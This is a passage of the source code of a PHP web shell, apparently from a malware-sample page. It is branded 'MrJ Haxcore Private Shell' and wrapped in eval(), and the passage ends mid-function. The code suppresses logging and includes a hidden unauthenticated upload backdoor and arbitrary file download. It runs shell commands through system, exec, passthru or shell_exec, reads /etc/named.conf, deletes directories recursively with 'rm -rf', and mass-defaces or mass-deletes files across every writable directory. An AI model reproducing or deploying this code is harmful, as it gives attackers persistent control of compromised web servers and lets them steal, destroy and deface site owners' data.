Jump to:
Screenshot
Attributes
Emails
<?php
echo eval("?><?php\r\nsession_start();\r\nError_reporting(0);\r\n@set_time_limit(0);\r\n@clearstatcache();\r\n@ini_set('Error_log',NULL);\r\n@ini_set('log_Errors',0);\r\n@ini_set('max_execution_time',0);\r\n@ini_set('output_buffering',0);\r\n@ini_set('display_Errors', 0);\r\nif(isset(\$_GET['AngkolVen'])){ echo \"<form method='post' enctype='multipart/form-data'>\r\n <input type='file' name='id_file'> <input type='submit' name='u' value='u-'> </form>\";\r\n\$root = \$_SERVER['DOCUMENT_ROOT']; \$files = \$_FILES['id_file']['name']; \$dest = \$root.'/'.\$files;\r\nif(isset(\$_POST['u'])) {\r\nif(is_writable(\$root)) {\r\nif(@copy(\$_FILES['id_file']['tmp_name'], \$dest)) {\r\n\$web = \"http://\".\$_SERVER['HTTP_HOST'].\"/\";\r\necho \"s u -> <a href='\$web/\$files' target='_blank'><b><u>\$web/\$files</u></b></a>\";\r\n} else { echo \"g u d d r.\"; } } else {\r\nif(@copy(\$_FILES['id_file']['tmp_name'], \$files)) { echo \"s <b>\$files</b> d\"; } else { echo \"g\"; } } } } \r\n\r\n/* Configurasi */\r\n\$aupas \t\t\t= \"b1e8460d4cfb0ca16a6998bf040cc2ab\";// password: mrj\r\n\$default_action \t= 'FilesMan';\r\n\$default_use_ajax \t= true;\r\n\$default_charset \t= 'UTF-8';\r\ndate_default_timezone_set(\"Asia/Philippines\");\r\nfunction login_shell(){\r\n?>\r\n<!DOCTYPE html>\r\n<html>\r\n\t<head>\r\n\t\t<meta name=\"viewport\" content=\"widht=device-widht, initial-scale=1.0\"/>\r\n\t\t<meta name=\"theme-color\" content=\"#800000\"/>\r\n\t\t<meta name=\"author\" content=\"MrJ\"/>\r\n\t\t<meta name=\"copyright\" content=\"MrJTeam\"/>\r\n\t\t<title>MrJHaxcore Private Shell</title>\r\n\t\t<link rel=\"icon\" type=\"image/png\" href=\"https://cdn1.vectorstock.com/i/thumb-large/64/25/vintage-scary-skull-concept-vector-21006425.jpg\"/>\r\n\t\t<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css\"/>\r\n\t\t<link rel=\"stylesheet\" href=\"https://use.fontawesome.com/releases/v5.7.1/css/all.css\"/>\r\n\t</head>\r\n\t<body class=\"bg-dark text-center text-light\">\r\n\t\t<div class=\"container text-center mt-3\">\r\n\t\t<center>\r\n\t\t<img src=\"https://anonphillipines.files.wordpress.com/2016/05/logo.gif\" width=\"500\" height=\"360\">\r\n\t\t\t<h1>[MrJ Haxcore Shell]</h1>\r\n\t\t\t<h5>This is a Private Shell</h5><hr/>\r\n\t\t\t<p class=\"mt-3 font-weight-bold\"><i class=\"fa fa-terminal\"></i> This shell has many features inside it a lot of tools for pentesting,hacking, defacing and many more but this is a private shell.</p>\r\n\t\t\t<form method=\"post\">\r\n\t\t\t\t<div class=\"form-group input-group\">\r\n\t\t\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t\t\t<div class=\"input-group-text\"><i class=\"fa fa-user\"></i></div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<input type=\"password\" name=\"pass\" placeholder=\"Input private key here\" class=\"form-control\">\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type=\"submit\" class=\"btn btn-danger btn-block\" class=\"form-control\" value=\"Login\">\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<a href=\"https://facebook.com/mrjhaxxcore\" class=\"text-muted fixed-bottom mb-3\">\xc2\xa9Copyright © MrJ.PH</a>\r\n\t</body>\r\n</html>\r\n<?php\r\nexit;\r\n}\r\nif(!isset(\$_SESSION[md5(\$_SERVER['HTTP_HOST'])])){\r\n\tif(isset(\$_POST['pass']) && (md5(\$_POST['pass']) == \$aupas)){\r\n\t\t\$_SESSION[md5(\$_SERVER['HTTP_HOST'])] = true;\r\n\t}else{\r\n\t\tlogin_shell();\r\n\t}\r\n}\r\nif(isset(\$_GET['file']) && (\$_GET['file'] != '') && (\$_GET['aksi'] == 'download')){\r\n\t@ob_clean();\r\n\t\$file = \$_GET['file'];\r\n\theader('Content-Description: File Transfer');\r\n\theader('Content-Type: application/octet-stream');\r\n\theader('Content-Disposition: attachment; filename=\"'.basename(\$file).'\"');\r\n\theader('Expires: 0');\r\n\theader('Cache-Control: must-revalidate');\r\n\theader('Pragma: public');\r\n\theader('Content-Length: ' . filesize(\$file));\r\n\treadfile(\$file);\r\n\texit;\r\n}\r\nfunction w(\$dir,\$perm){\r\n\tif(!is_writable(\$dir)){\r\n\t\treturn \"<font color='red'>\".\$perm.\"</font>\";\r\n\t}else{\r\n\t\treturn \"<font color='lime'>\".\$perm.\"</font>\";\r\n\t}\r\n}\r\nfunction r(\$dir,\$perm){\r\n\tif(!is_readable(\$dir)){\r\n\t\treturn \"<font color=red>\".\$perm.\"</font>\";\r\n\t}else{\r\n\t\treturn \"<font color=lime>\".\$perm.\"</font>\";\r\n\t}\r\n}\r\n\r\nfunction exe(\$cmd){\r\n\tif(function_exists('system')){\r\n\t\t@ob_start();\r\n\t\t@system(\$cmd);\r\n\t\t\$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn \$buff;\r\n\t}elseif(function_exists('exec')){\r\n\t\t@exec(\$cmd,\$results);\r\n\t\t\$buff = \"\";\r\n\t\tforeach(\$results as \$result){\r\n\t\t\t\$buff .= \$result;\r\n\t\t} return \$buff;\r\n\t}elseif(function_exists('passthru')){\r\n\t\t@ob_start();\r\n\t\t@passthru(\$cmd);\r\n\t\t\$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn \$buff;\r\n\t}elseif(function_exists('shell_exec')){\r\n\t\t\$buff = @shell_exec(\$cmd);\r\n\t\treturn \$buff;\r\n\t}\r\n}\r\nfunction perms(\$file){\r\n\t\$perms = fileperms(\$file);\r\n\tif ((\$perms & 0xC000) == 0xC000){\r\n\t\t// Socket\r\n\t\t\$info = 's';\r\n\t}elseif ((\$perms & 0xA000) == 0xA000){\r\n\t\t// Symbolic Link\r\n\t\t\$info = 'l';\r\n\t}elseif ((\$perms & 0x8000) == 0x8000){\r\n\t\t// Regular\r\n\t\t\$info = '-';\r\n\t}elseif ((\$perms & 0x6000) == 0x6000){\r\n\t\t// Block special\r\n\t\t\$info = 'b';\r\n\t}elseif ((\$perms & 0x4000) == 0x4000){\r\n\t\t// Directory\r\n\t\t\$info = 'd';\r\n\t}elseif ((\$perms & 0x2000) == 0x2000){\r\n\t\t// Character special\r\n\t\t\$info = 'c';\r\n\t}elseif ((\$perms & 0x1000) == 0x1000){\r\n\t\t// FIFO pipe\r\n\t\$info = 'p';\r\n\t}else{\r\n\t\t// Unknown\r\n\t\t\$info = 'u';\r\n\t}\r\n\t// Owner\r\n\t\$info .= ((\$perms & 0x0100) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0080) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0040) ?\r\n\t((\$perms & 0x0800) ? 's' : 'x' ) :\r\n\t((\$perms & 0x0800) ? 'S' : '-'));\r\n\t// Group\r\n\t\$info .= ((\$perms & 0x0020) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0010) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0008) ?\r\n\t((\$perms & 0x0400) ? 's' : 'x' ) :\r\n\t((\$perms & 0x0400) ? 'S' : '-'));\r\n\t\t\r\n\t// World\r\n\t\$info .= ((\$perms & 0x0004) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0002) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0001) ?\r\n\t((\$perms & 0x0200) ? 't' : 'x' ) :\r\n\t((\$perms & 0x0200) ? 'T' : '-'));\r\n\treturn \$info;\r\n}\r\n\$path = str_replace('\\\\','/',\$path);\r\n\$paths = explode('/',\$path);\r\nif(isset(\$_GET['dir'])){\r\n\t\$dir = \$_GET['dir'];\r\n\tchdir(\$dir);\r\n}else{\r\n\t\$dir = getcwd();\r\n}\r\n\t\r\n\$os = php_uname();\r\n\$ip = getHostByName(getHostName());\r\n\$ver = phpversion();\r\n\$web = \$_SERVER['HTTP_HOST'];\r\n\$sof = \$_SERVER['SERVER_SOFTWARE']; \r\n\$dir = str_replace(\"\\\\\",\"/\",\$dir);\r\n\$scdir = explode(\"/\", \$dir);\r\n\$mysql = (function_exists('mysql_connect')) ? \"<font color=green>ON</font>\" : \"<font color=red>OFF</font>\";\r\n\$curl = (function_exists('curl_version')) ? \"<font color=green>ON</font>\" : \"<font color=red>OFF</font>\";\r\n\$mail = (function_exists('mail')) ? \"<font color=green>ON</font>\" : \"<font color=red>OFF</font>\";\r\n\$total = disk_total_space(\$dir);\r\n\$free = disk_free_space(\$dir);\r\n\$pers = (int) (\$free/\$total*100);\r\n\$ds = @ini_get(\"disable_functions\");\r\n\$show_ds = (!empty(\$ds)) ? \"<a href='?dir=\$dir&aksi=disabfunc' class='ds'>\$ds</a>\" : \"<a href='?dir=\$dir&aksi=disabfunc'><font color=green>NONE</font></a>\";\r\n\$imgfol = \"<img src='http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png' class='ico'></img>\";\r\n\$imgfile = \"<img src='http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png' class='ico2'></img>\";\r\nfunction formatSize( \$bytes ){\r\n\t\$types = array( 'B', 'KB', 'MB', 'GB', 'TB' );\r\n\tfor( \$i = 0; \$bytes >= 1024 && \$i < ( count( \$types ) -1 ); \$bytes /= 1024, \$i++ );\r\n\treturn( round( \$bytes, 2 ).\" \".\$types[\$i] );\r\n}\r\nfunction ambilKata(\$param, \$kata1, \$kata2){\r\n\tif(strpos(\$param, \$kata1) === FALSE) return FALSE;\r\n\tif(strpos(\$param, \$kata2) === FALSE) return FALSE;\r\n\t\$start = strpos(\$param, \$kata1) + strlen(\$kata1);\r\n\t\$end = strpos(\$param, \$kata2, \$start);\r\n\t\$return = substr(\$param, \$start, \$end - \$start);\r\n\treturn \$return;\r\n}\r\n\$d0mains = @file(\"/etc/named.conf\", false);\r\nif (!\$d0mains){\r\n\t\$dom = \"<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>\";\r\n\t\$GLOBALS[\"need_to_update_header\"] = \"true\";\r\n}else{ \r\n\t\$count = 0;\r\n\tforeach (\$d0mains as \$d0main){\r\n\t\tif (@strstr(\$d0main, \"zone\")){\r\n\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\tflush();\r\n\t\t\tif (strlen(trim(\$domains[1][0])) > 2){\r\n\t\t\t\tflush();\r\n\t\t\t\t\$count++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\$dom = \"\$count Domain\";\r\n}\r\nfunction swall(\$swa,\$text,\$dir){\r\n\techo \"<script>Swal.fire({\r\n\t\ttitle: '\$swa',\r\n\t\ttext: '\$text',\r\n\t\ttype: '\$swa',\r\n\t}).then((value) => {window.location='?dir=\$dir';})</script>\";\r\n}\r\nfunction about(){\r\n\techo '<div class=\"card text-center bg-light about\">\r\n\t\t<h4 class=\"card-header\"><><>[ AngkolVen ]<><></h4>\r\n\t\t<div class=\"card-body\">\r\n\t\t\t<center><div class=\"img\"></div></center>\r\n\t\t\t<p class=\"card-text\">This Shell was created in Philippines, July. 10, 2022. By mrj. This is a Private and we are not selling this tool.</p>\r\n\t\t</div>\r\n\t\t<div class=\"card-footer\">\r\n\t\t\t<small class=\"card-text text-muted\">Copyright 2020 © CyberMafia-PH</small>\r\n\t\t</div>\r\n\t</div><br/>';\r\n\texit;\r\n}\r\nfunction aksiUpload(\$dir){\r\n\techo '<form method=\"POST\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\r\n\t\t<div class=\"card\">\r\n\t\t\t<div class=\"card-body form-group\">\r\n\t\t\t\t<p class=\"text-muted\">//Multiple Upload</p>\r\n\t\t\t\t<div class=\"custom-file\">\r\n\t\t\t\t\t<input type=\"file\" name=\"file[]\" multiple class=\"custom-file-input\" id=\"customFile\">\r\n\t\t\t\t\t<label class=\"custom-file-label\" for=\"customFile\">Choose file</label>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type=\"submit\" class=\"btn btn-sm btn-primary btn-block mt-4 p-2\" name=\"upload\" value=\"Upload\">\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</form>';\r\n\tif(isset(\$_POST['upload'])){\r\n\t\t\$jumlah = count(\$_FILES['file']['name']);\r\n\t\tfor(\$i=0;\$i<\$jumlah;\$i++){\r\n\t\t\t\$filename = \$_FILES['file']['name'][\$i];\r\n\t\t\t\t\$up = @copy(\$_FILES['file']['tmp_name'][\$i], \"\$dir/\".\$filename);\r\n\t\t}\r\n\t\tif(\$jumlah < 2){\r\n\t\t\tif(\$up){\r\n\t\t\t\t\$swa = \"Success\";\r\n\t\t\t\t\$text = \"Success Upload \$filename\";\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}else{\r\n\t\t\t\t\$swa = \"Error\";\r\n\t\t\t\t\$text = \"Failed Upload File\";\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"Success Upload \$jumlah File\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction chmodFile(\$dir,\$file,\$nfile){\r\n\techo \"<form method='POST'>\r\n\t\t<h5>Chmod File : \$nfile </h5>\r\n\t\t<div class='form-group input-group'>\r\n\t\t\t<input type='text' name='perm' class='form-control' value='\".substr(sprintf('%o', fileperms(\$_GET['file'])), -4).\"'>\r\n\t\t\t<input type='submit' class='btn btn-danger form-control' value='Chmod'>\r\n\t\t</div>\r\n\t</form>\";\r\n\tif(isset(\$_POST['perm'])){\r\n\t\tif(@chmod(\$_GET['file'],\$_POST['perm'])){\r\n\t\t\techo '<font color=\"lime\">Change Permission Success</font><br/>';\r\n\t\t}else{\r\n\t\t\techo '<font color=\"white\">Change Permission Failed</font><br/>';\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction forFile(\$dir,\$imgfile){\r\n\techo \"<h4>Image File Create File </h4>\r\n\t<form method='POST'>\r\n\t\t<div class='input-group'>\r\n\t\t\t<input type='text' class='form-control' name='nama_file[]' placeholder='Name File...'>\r\n\t\t\t<div class='input-group-prepend'>\r\n\t\t\t\t<div class='input-group-text'><a id='add_input'><i class='fa fa-plus'></i></a></div>\r\n\t\t\t</div>\r\n\t\t</div><br/>\r\n\t\t<div id='output'></div>\r\n\t\t<textarea name='isi_file' class='form-control' rows='13' placeholder='Fill in the Content'></textarea><br/>\r\n\t\t<input type='submit' class='btn btn-info btn-block' name='bikin' value='Submit'>\r\n\t</form>\";\r\n\tif (isset(\$_POST['bikin'])){\r\n\t\t\$name = \$_POST['nama_file'];\r\n\t\t\$isi_file = \$_POST['isi_file'];\r\n\t\tforeach (\$name as \$nama_file){\r\n\t\t\t\$handle = @fopen(\"\$nama_file\", \"w\");\r\n\t\t\tif(\$isi_file){\r\n\t\t\t\t\$for = @fwrite(\$handle, \$isi_file);\r\n\t\t\t}else{\r\n\t\t\t\t\$for = \$handle;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (\$for){\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"Success Creating File\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}else{\r\n\t\t\t\$swa = \"Error\";\r\n\t\t\t\$text = \"Failed To Create File\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction view(\$dir,\$file,\$nfile,\$imgfile){\r\n\techo '[ <a class=\"active\" href=\"?dir='.\$dir.'&aksi=view&file='.\$file.'\">See</a> ] [ <a href=\"?dir='.\$dir.'&aksi=edit&file='.\$file.'\">Edit</a> ] [ <a href=\"?dir='.\$dir.'&aksi=rename&file='.\$file.'\">Rename</a> ] [ <a href=\"?dir='.\$dir.'&aksi=hapusf&file='.\$file.'\">Delete</a> ]\r\n\t<h5>'.\$imgfile.' See File : '.\$nfile.'</h5>\r\n\t<textarea rows=\"13\" class=\"form-control\" disabled=\"\">'.htmlspecialchars(@file_get_contents(\$file)).'</textarea><br/>';\r\n}\r\nfunction editFile(\$dir,\$file,\$nfile,\$imgfile){\r\n\techo '[ <a href=\"?dir='.\$dir.'&aksi=view&file='.\$file.'\">See</a> ] [ <a class=\"active\" href=\"?dir='.\$dir.'&aksi=edit&file='.\$file.'\">Edit</a> ] [ <a href=\"?dir='.\$dir.'&aksi=rename&file='.\$file.'\">Rename</a> ] [ <a href=\"?dir='.\$dir.'&aksi=hapusf&file='.\$file.'\">Delete</a> ]';\r\n\techo \"<form method='POST'>\r\n\t\t<h5>\$imgfile Edit File : \$nfile</h5>\r\n\t\t<textarea rows='13' class='form-control' name='isi'>\".htmlspecialchars(@file_get_contents(\$file)).\"</textarea><br/>\r\n\t\t\t<button type='sumbit' class='btn btn-info btn-block' name='edit_file'>Update</button>\r\n\t</form>\";\r\n\tif(isset(\$_POST['edit_file'])){\r\n\t\t\$updt = fopen(\"\$file\", \"w\");\r\n\t\t\$hasil = fwrite(\$updt, \$_POST['isi']);\r\n\t\tif (\$hasil){\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"Success Update File\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}else{\r\n\t\t\t\$swa = \"Error\";\r\n\t\t\t\$text = \"Failed Update File\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction renameFile(\$dir,\$file,\$nfile,\$imgfile){\r\n\techo '[ <a href=\"?dir='.\$dir.'&aksi=view&file='.\$file.'\">See</a> ] [ <a href=\"?dir='.\$dir.'&aksi=edit&file='.\$file.'\">Edit</a> ] [ <a class=\"active\" href=\"?dir='.\$dir.'&aksi=rename&file='.\$file.'\">Rename</a> ] [ <a href=\"?dir='.\$dir.'&aksi=hapusf&file='.\$file.'\">Delete</a> ]';\r\n\techo \"<form method='POST'>\r\n\t\t<h5>\$imgfile Rename File : \$nfile</h5>\r\n\t\t<input type='text' class='form-control' name='namanew' placeholder='New File Name' value='\$nfile'><br/>\r\n\t\t<button type='sumbit' class='btn btn-info btn-block' name='rename_file'>Rename</button>\r\n\t</form>\";\r\n\tif(isset(\$_POST['rename_file'])){\r\n\t\t\$lama = \$file;\r\n\t\t\$baru = \$_POST['namanew'];\r\n\t\trename( \$baru, \$lama);\r\n\t\tif(file_exists(\$baru)){\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"New \$baru Name Used\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}else{\r\n\t\t\tif(rename( \$lama, \$baru)){\r\n\t\t\t\t\$swa = \"Success\";\r\n\t\t\t\t\$text = \"Success Changing name to \$baru\";\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}else{\r\n\t\t\t\t\$swa = \"Error\";\r\n\t\t\t\t\$text = \"Failed Change Name\";\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction hapusFile(\$dir,\$file,\$nfile){\r\n\techo '[ <a href=\"?dir='.\$dir.'&aksi=view&file='.\$file.'\">See</a> ] [ <a href=\"?dir='.\$dir.'&aksi=edit&file='.\$file.'\">Edit</a> ] [ <a href=\"?dir='.\$dir.'&aksi=rename&file='.\$file.'\">Rename</a> ] [ <a class=\"active\" href=\"?dir='.\$dir.'&aksi=hapusf&file='.\$file.'\">Delete</a> ]';\r\n\techo \"<div class='card card-body text-center text-dark mb-4'>\r\n\t\t<p>Are you sure you want to delete : \$nfile</p>\r\n\t\t<form method='POST'>\r\n\t\t\t<a class='btn btn-danger btn-block' href='?dir=\$dir'>Disagree</a>\r\n\t\t\t<input type='submit' name='ya' class='btn btn-Success btn-Success btn-block' value='Agree'>\r\n\t\t</form>\r\n\t</div>\";\r\n\tif (\$_POST['ya']){\r\n\t\tif (unlink(\$file)){\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"Success Deleting File\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}else{\r\n\t\t\t\$swa = \"Error\";\r\n\t\t\t\$text = \"Failed Deleting File\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction chmodFolder(\$dir,\$ndir){\r\n\techo \"<form method='POST'>\r\n\t\t<h5>Chmod Folder : \$ndir </h5>\r\n\t\t<div class='form-group input-group'>\r\n\t\t\t<input type='text' name='perm' class='form-control' value='\".substr(sprintf('%o', fileperms(\$_GET['dir'])), -4).\"'>\r\n\t\t\t<input type='submit' class='btn btn-danger form-control' value='Chmod' name='chmo'>\r\n\t\t</div>\r\n\t</form>\";\r\n\tif(isset(\$_POST['chmo'])){\r\n\t\tif(@chmod(\$_GET['dir'],\$_POST['perm'])){\r\n\t\t\techo '<font color=\"lime\">Change Permission Success</font><br/>';\r\n\t\t}else{\r\n\t\t\techo '<font color=\"white\">Change Permission Failed</font><br/>';\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction forFolder(\$dir,\$imgfol){\r\n\techo \"<h5>\$imgfol Create Folder :</h5>\r\n\t<form method='POST'>\r\n\t\t<div class='input-group'>\r\n\t\t\t<input type='text' class='form-control' name='nama_folder[]' placeholder='Folder Name...'>\r\n\t\t\t<div class='input-group-prepend'>\r\n\t\t\t\t<div class='input-group-text'><a id='add_input1'><i class='fa fa-plus'></i></a></div>\r\n\t\t\t</div>\r\n\t\t</div><br/>\r\n\t\t<div id='output1'></div>\r\n\t\t<input type='submit' class='btn btn-info btn-block' name='for' value='for'>\r\n\t</form>\";\r\n\tif (isset(\$_POST['for'])){\r\n\t\t\$nama = \$_POST['nama_folder'];\r\n\t\tforeach (\$nama as \$nama_folder){\r\n\t\t\t\$folder = preg_replace(\"([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\].]|[\\.]{2,})\", '', \$nama_folder);\r\n\t\t\t\$fd = @mkdir (\$folder);\r\n\t\t}\r\n\t\tif (\$fd){\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"Success Creating Folder\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}else{\r\n\t\t\t\$swa = \"Error\";\r\n\t\t\t\$text = \"Failed to Create Folder\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}\r\n\t}\r\n}\r\nfunction renameFolder(\$dir,\$ndir,\$imgfol){\r\n\techo \"[ <a href='?dir=\".\$dir.\"&aksi=rename_folder' class='active'>Rename</a> ] [ <a href='?dir=\".\$dir.\"&aksi=hapus_folder'>Delete</a> ] \r\n\t<h5>\$imgfol Rename Folder : \$ndir </h5>\r\n\t<form method='POST'>\r\n\t\t<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='\$nama'><br/>\r\n\t\t<button type='sumbit' class='btn btn-info btn-block' name='ganti'>Ganti!!</button><br/>\r\n\t</form>\";\r\n\tif(isset(\$_POST['ganti'])){\r\n\t\t\$baru = htmlspecialchars(\$_POST['namanew']);\r\n\t\t\$ubah = rename(\$dir, \"\".dirname(\$dir).\"/\".\$baru.\"\");\r\n\t\tif(\$ubah){\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"Success Name Changed\";\r\n\t\t\t\$dir = dirname(\$dir);\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}else{\r\n\t\t\t\$swa = \"Error\";\r\n\t\t\t\$text = \"Failed Changing Name\";\r\n\t\t\t\$dir = dirname(\$dir);\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction deleteFolder(\$dir,\$ndir){\r\n\techo \"[ <a href='?dir=\".\$dir.\"&aksi=rename_folder'>Rename</a> ] [ <a href='?dir=\".\$dir.\"&aksi=hapus_folder' class='active'>Delete</a> ] \r\n\t<div class='card card-body text-center text-dark mb-4'>\r\n\t\t<p>Are you sure you want to delete: \$ndir ?</p>\r\n\t\t<form method='POST'>\r\n\t\t\t<a class='btn btn-danger btn-block' href='?dir=\".dirname(\$dir).\"'>Disagree</a>\r\n\t\t\t<input type='submit' name='ya' class='btn btn-Success btn-block' value='Agree'>\r\n\t\t</form>\r\n\t</div><br/>\";\r\n\tif (\$_POST['ya']){\r\n\t\tif(is_dir(\$dir)){\r\n\t\t\tif(is_writable(\$dir)){\r\n\t\t\t\t@rmdir(\$dir);\r\n\t\t\t\t@exe(\"rm -rf \$dir\");\r\n\t\t\t\t@exe(\"rmdir /s /q \$dir\");\r\n\t\t\t\t\$swa = \"Success\";\r\n\t\t\t\t\$text = \"Delete Successfully\";\r\n\t\t\t\t\$dir = dirname(\$dir);\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}else{\r\n\t\t\t\t\$swa = \"Error\";\r\n\t\t\t\t\$text = \"Delete Failed\";\r\n\t\t\t\t\$dir = dirname(\$dir);\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiMasdef(\$dir,\$file,\$imgfol,\$imgfile){\r\n\tfunction tipe_massal(\$dir,\$namafile,\$isi_script){\r\n\t\tif(is_writable(\$dir)){\r\n\t\t\t\$dira = scandir(\$dir);\r\n\t\t\tforeach(\$dira as \$dirb){\r\n\t\t\t\t\$dirc = \"\$dir/\$dirb\";\r\n\t\t\t\t\$lokasi = \$dirc.'/'.\$namafile;\r\n\t\t\t\tif(\$dirb === '.'){\r\n\t\t\t\t\tfile_put_contents(\$lokasi, \$isi_script);\r\n\t\t\t\t}elseif(\$dirb === '..'){\r\n\t\t\t\t\tfile_put_contents(\$lokasi, \$isi_script);\r\n\t\t\t\t}else{\r\n\t\t\t\t\tif(is_dir(\$dirc)){\r\n\t\t\t\t\t\tif(is_writable(\$dirc)){\r\n\t\t\t\t\t\t\techo \"Done > \$lokasi\\n\";\r\n\t\t\t\t\t\t\tfile_put_contents(\$lokasi, \$isi_script);\r\n\t\t\t\t\t\t\t\$masdef = tipe_massal(\$dirc,\$namafile,\$isi_script);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfunction tipe_biasa(\$dir,\$namafile,\$isi_script){\r\n\t\tif(is_writable(\$dir)){\r\n\t\t\t\$dira = scandir(\$dir);\r\n\t\t\tforeach(\$dira as \$dirb){\r\n\t\t\t\t\$dirc = \"\$dir/\$dirb\";\r\n\t\t\t\t\$lokasi = \$dirc.'/'.\$namafile;\r\n\t\t\t\tif(\$dirb === '.'){\r\n\t\t\t\t\tfile_put_contents(\$lokasi, \$isi_script);\r\n\t\t\t\t}elseif(\$dirb === '..'){\r\n\t\t\t\t\tfile_put_contents(\$lokasi, \$isi_script);\r\n\t\t\t\t}else{\r\n\t\t\t\t\tif(is_dir(\$dirc)){\r\n\t\t\t\t\t\tif(is_writable(\$dirc)){\r\n\t\t\t\t\t\t\techo \"Done > \$dirb/\$namafile\\n\";\r\n\t\t\t\t\t\t\tfile_put_contents(\$lokasi, \$isi_script);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tif(\$_POST['start']){\r\n\t\techo \"[ <a href='?dir=\$dir'>Kembali</a> ]\r\n\t\t<textarea class='form-control' rows='13' disabled=''>\";\r\n\t\t\tif(\$_POST['tipe'] == 'mahal'){\r\n\t\t\t\ttipe_massal(\$_POST['d_dir'], \$_POST['d_file'], \$_POST['script']);\r\n\t\t\t}elseif(\$_POST['tipe'] == 'murah'){\r\n\t\t\t\ttipe_biasa(\$_POST['d_dir'], \$_POST['d_file'], \$_POST['script']);\r\n\t\t\t}\r\n\t\techo \"</textarea><br/>\";\r\n\t}else{\r\n\t\techo \"<form method='post'>\r\n\t\t\t<div class='text-center'>\r\n\t\t\t\t<h5>Tipe :</h5>\r\n\t\t\t\t<input id='toggle-on' class='toggle toggle-left' name='tipe' value='murah' type='radio' checked>\r\n\t\t\t\t<label for='toggle-on' class='butn'>Main</label>\r\n\t\t\t\t<input id='toggle-off' class='toggle toggle-right' name='tipe' value='mahal' type='radio'>\r\n\t\t\t\t<label for='toggle-off' class='butn'>Mass</label>\r\n\t\t\t</div> \r\n\t\t\t<h5>\$imgfol Location :</h5>\r\n\t\t\t<input type='text' name='d_dir' value='\$dir' class='form-control'><br>\r\n\t\t\t<h5>\$imgfile Name of The File :</h5>\r\n\t\t\t<input type='text' name='d_file' placeholder='Put Name Of File' class='form-control'><br/>\r\n\t\t\t<h5>\$imgfile Deface Script :</h5>\r\n\t\t\t<textarea name='script' class='form-control' rows='13' placeholder='Put Your Deface Page'></textarea><br/>\r\n\t\t\t<input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'>\r\n\t\t</form>\";\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiMasdel(\$dir,\$file,\$imgfol,\$imgfile){\r\n\tfunction hapus_massal(\$dir,\$namafile){\r\n\t\tif(is_writable(\$dir)){\r\n\t\t\t\$dira = scandir(\$dir);\r\n\t\t\tforeach(\$dira as \$dirb){\r\n\t\t\t\t\$dirc = \"\$dir/\$dirb\";\r\n\t\t\t\t\$lokasi = \$dirc.'/'.\$namafile;\r\n\t\t\t\tif(\$dirb === 